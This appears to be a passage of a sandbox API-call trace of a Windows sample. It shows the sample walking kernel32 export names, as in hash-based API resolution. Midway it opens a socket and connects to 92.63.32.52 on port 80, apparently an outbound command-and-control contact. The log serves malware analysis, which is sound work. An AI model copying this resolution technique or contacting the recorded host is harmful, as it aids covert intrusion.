lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0118.149] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0118.149] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0118.149] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0118.149] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0118.149] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0118.149] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0118.149] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0118.149] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0118.149] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0118.149] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0118.149] lstrlenA (lpString="COPYCONTEXT") returned 11 [0118.149] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0118.149] lstrlenA (lpString="COPYFILE2") returned 9 [0118.149] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0118.149] lstrlenA (lpString="COPYFILEA") returned 9 [0118.149] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0118.149] lstrlenA (lpString="COPYFILEEXA") returned 11 [0118.149] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0118.150] lstrlenA (lpString="COPYFILEEXW") returned 11 [0118.150] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0118.150] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0118.150] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0118.150] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0118.150] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0118.150] lstrlenA (lpString="COPYFILEW") returned 9 [0118.150] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0118.150] lstrlenA (lpString="COPYLZFILE") returned 10 [0118.150] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0118.150] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0118.150] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0118.150] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0118.150] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0118.150] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0118.150] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0118.150] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0118.150] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0118.150] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0118.150] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0118.150] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0118.150] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0118.150] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0118.150] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0118.150] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0118.150] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0118.150] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0118.150] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0118.150] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0118.150] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0118.150] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0118.150] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0118.150] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0118.150] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0118.150] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0118.150] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0118.150] lstrlenA (lpString="CREATEEVENTA") returned 12 [0118.150] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0118.150] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0118.150] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0118.150] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0118.150] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0118.151] lstrlenA (lpString="CREATEEVENTW") returned 12 [0118.151] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0118.151] lstrlenA (lpString="CREATEFIBER") returned 11 [0118.151] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0118.151] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0118.151] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0118.151] lstrlenA (lpString="CREATEFILE2") returned 11 [0118.151] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0118.151] lstrlenA (lpString="CREATEFILEA") returned 11 [0118.151] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0118.151] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0118.151] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0118.151] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0118.151] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0118.151] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0118.151] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0118.151] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0118.151] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0118.151] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0118.151] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0118.151] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0118.151] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0118.151] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0118.151] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0118.151] lstrlenA (lpString="CREATEFILEW") returned 11 [0118.151] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0118.151] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0118.151] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0118.151] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0118.151] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0118.151] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0118.151] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0118.151] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0118.151] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0118.151] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0118.151] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0118.151] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0118.151] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0118.151] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0118.151] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0118.151] lstrlenA (lpString="CREATEJOBSET") returned 12 [0118.152] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0118.152] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0118.152] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0118.152] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0118.152] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0118.152] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0118.152] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0118.152] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0118.152] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0118.152] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0118.152] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0118.152] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0118.152] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0118.152] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0118.152] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0118.152] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0118.152] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0118.152] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0118.152] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0118.152] lstrlenA (lpString="CREATEPIPE") returned 10 [0118.152] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0118.152] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0118.152] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0118.152] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0118.152] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0118.152] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0118.152] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0118.152] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0118.152] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0118.152] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0118.152] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0118.152] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0118.152] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0118.152] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0118.152] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0118.152] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0118.152] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0118.152] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0118.152] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0118.152] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0118.152] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0118.152] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0118.153] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0118.153] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0118.153] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0118.153] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0118.153] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0118.153] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0118.153] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0118.153] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0118.153] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0118.153] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0118.153] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0118.153] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0118.153] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0118.153] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0118.153] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0118.153] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0118.153] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0118.153] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0118.153] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0118.153] lstrlenA (lpString="CREATETHREAD") returned 12 [0118.153] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0118.153] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0118.153] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0118.153] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0118.153] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0118.153] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0118.153] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0118.153] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0118.153] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0118.153] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0118.153] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0118.153] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0118.153] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0118.153] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0118.153] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0118.154] inet_pton (in: Family=2, pszAddrString="92.63.32.52", pAddrBuf=0x2e7f828 | out: pAddrBuf=0x2e7f828) returned 1 [0118.154] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x2e7fc74 | out: lpWSAData=0x2e7fc74) returned 0 [0118.154] socket (af=2, type=1, protocol=6) returned 0x544 [0118.154] inet_addr (cp="92.63.32.52") returned 0x34203f5c [0118.154] htons (hostshort=0x50) returned 0x5000 [0118.154] connect (s=0x544, name=0x2e7f804*(sa_family=2, sin_port=0x50, sin_addr="92.63.32.52"), namelen=16) returned 0 [0118.199] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0118.199] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0118.199] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0118.199] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0118.199] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0118.199] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0118.199] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0118.199] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0118.199] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0118.199] lstrlenA (lpString="ADDATOMA") returned 8 [0118.199] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0118.199] lstrlenA (lpString="ADDATOMW") returned 8 [0118.199] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0118.199] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0118.199] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0118.199] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0118.199] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0118.199] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0118.199] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0118.199] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0118.199] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0118.199] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0118.199] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0118.199] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0118.199] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0118.199] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0118.199] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0118.200] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0118.200] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0118.200] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0118.200] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0118.200] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0118.200] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0118.200] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0118.200] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0118.200] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0118.200] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0118.200] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0118.200] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0118.200] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0118.200] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0118.200] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0118.200] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0118.200] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0118.200] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0118.200] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0118.200] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0118.200] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0118.200] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0118.200] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0118.200] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0118.200] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0118.200] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0118.200] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0118.200] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0118.200] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0118.200] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0118.200] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0118.200] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0118.200] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0118.200] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0118.200] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0118.200] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0118.200] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0118.200] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0118.200] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0118.200] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0118.201] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 